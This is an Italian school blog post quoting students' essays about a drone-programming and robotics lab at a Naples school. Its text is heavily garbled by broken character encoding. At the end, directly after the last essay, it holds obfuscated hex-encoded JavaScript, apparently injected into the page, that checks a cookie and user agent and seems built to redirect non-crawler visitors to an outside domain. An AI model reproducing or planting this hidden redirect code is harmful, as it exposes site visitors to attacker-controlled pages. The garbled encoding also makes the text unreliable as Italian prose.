Speciale Coding: parlano gli studenti!

Redazione

La parola agli studenti del Laboratorio di Informatica e Robotica dell’Istituto Sacro Cuore di NapoliAi??(testi tratti da alcuni temi svolti dai ragazzi durante l’ora di italiano durante la quale era stato chiesto loro di raccontare e motivare l’interesse per un’attivitAi?? svolta di recente a scuola)


 

ai???Una delle attivitAi?? piA? belle che ho iniziato qualche settimana fa A? stata quella del Laboratorio di Informatica. Secondo me lai??i??idea che ha avuto la scuola sul laboratorio inAi??informatica A? stata grande [ai??i??] Da subito, anche chi non faceva parte di questo laboratorio, si A? inscritto e anche io ho deciso di aderire, perchAi?? mi fidavo del prof.re [ai??i??]. AncheAi?? Ai?? Ai?? mioAi??padre e mia madre sapevano che era in gamba e devo dire che A? merito loro se faccio il laboratorio di informatica.

La prima volta che ho fatto il laboratorio con il prof.re [ai??i??] mi A? piaciuto molto, perchAi?? ha parlato di cosa avremmo fatto e ci ha detto che saremmo riusciti a programma delle azioni per il drone.

E mentre ne parlava, notai che la classe del liceo dove facevano informatica era stracolma di ragazzi di I, II e III media. In quello stessa lezione il prof.re mi fece programmare. Con lai??i??aiuto dei miei compagni, sono riuscito a programmare un drone. Nella seconda lezione abbiamo continuato a programmare. [ai??i??] Spero che questo laboratorio cosAi?? bello continuiAi?? ad essere cosAi??ai???.

ai???Ogni mercoledAi?? facciamo il laboratorio di informatica con il prof.re [ai??i??]; questo laboratorio A? il mio preferito. Al laboratorio di informatica non usiamo i computer, ma usiamo i droni. Nella prima lezione il prof.re ci ha mostrato il programma che dovevamo usare e ha fatto volare un drone. Invece, nella seconda lezione ha fatto provare ad alcuni di noi come farlo decollare. Dopo che tutti lai??i??hanno capito, ci ha mostrato come si pilota. Poi A? arrivato Natale e i miei, a parte montagne di giochi per la play station, mi hanno regalato due tipi di droni: il primo A? il Parrot e il secondo A? di una marca che non conosco. Dopo Natale ho scoperto che non ero lai??i??unico ad avere il drone, ma anche gli altri miei amici: Paolo, Riccardo e Gennaro, che al doposcuola lo porta sempre e lo fa volare in classe. Nellai??i??ultima lezione il prof.re ha fatto dei gruppi che fanno cercato di far descrivere al drone un cerchio completo. Ci hanno provato tante persone, alcune ci stavano riuscendo, ma gli unici che ce lai??i??hannoAi??fatta sono stati Riccardo e Paolo. Per usare il programma bisogna conoscere l’ingleseAi?? e la matematica, materie nella quali sto migliorandoai???.

[ai??i??] Questo corso per alcuni A? noioso, mentre per altri A? interessante; io e mia sorella ne siamo la prova: a me piace, mentre a lei no.

Al corso programmiamo unai??i??orca con un applicazione che si chiama Tickle. Questa app A? in inglese e serve a dare ai???comandiai??? agli oggetti di quella app.

Noi, oltre a fare programmi virtuali, facciamo programmi anche per i droni Parrot. I droniAi?? che si solito programmiamo sono il Rolling Spider, Sphero, Airbone Cargo e qualche volta, anche se non molto spesso, il Jumpig Sumo.

I droni del professore sono il Rolling Spider bianco e nero con una bocca che allai??i??interno ha i denti affilati; Sphero A? “per metAi?? intero e per metAi?? spaccato”, nel senso che si vede la parte robotica, non perchAi?? sia rotto, ma A? una versione limitata che si chiama Spark.

Sphero ha alcune qualitAi?? simili a quelle umane, per esempio si spaventa, salta, cammina, ecc.. Gli altri droni li portiamo noi da casa; per esempio Gennaro, di II media, porta il suo Airbone Cargo. Anche io ho un drone ed A? il Rolling Spider [ai??i??]

Per me questo corso A? fantastico, perchAi?? mi piace scoprire cosa sanno fare i vari droni,Ai??come funzionano e anche perchAi?? imparo qualcosa in piA? di inglese.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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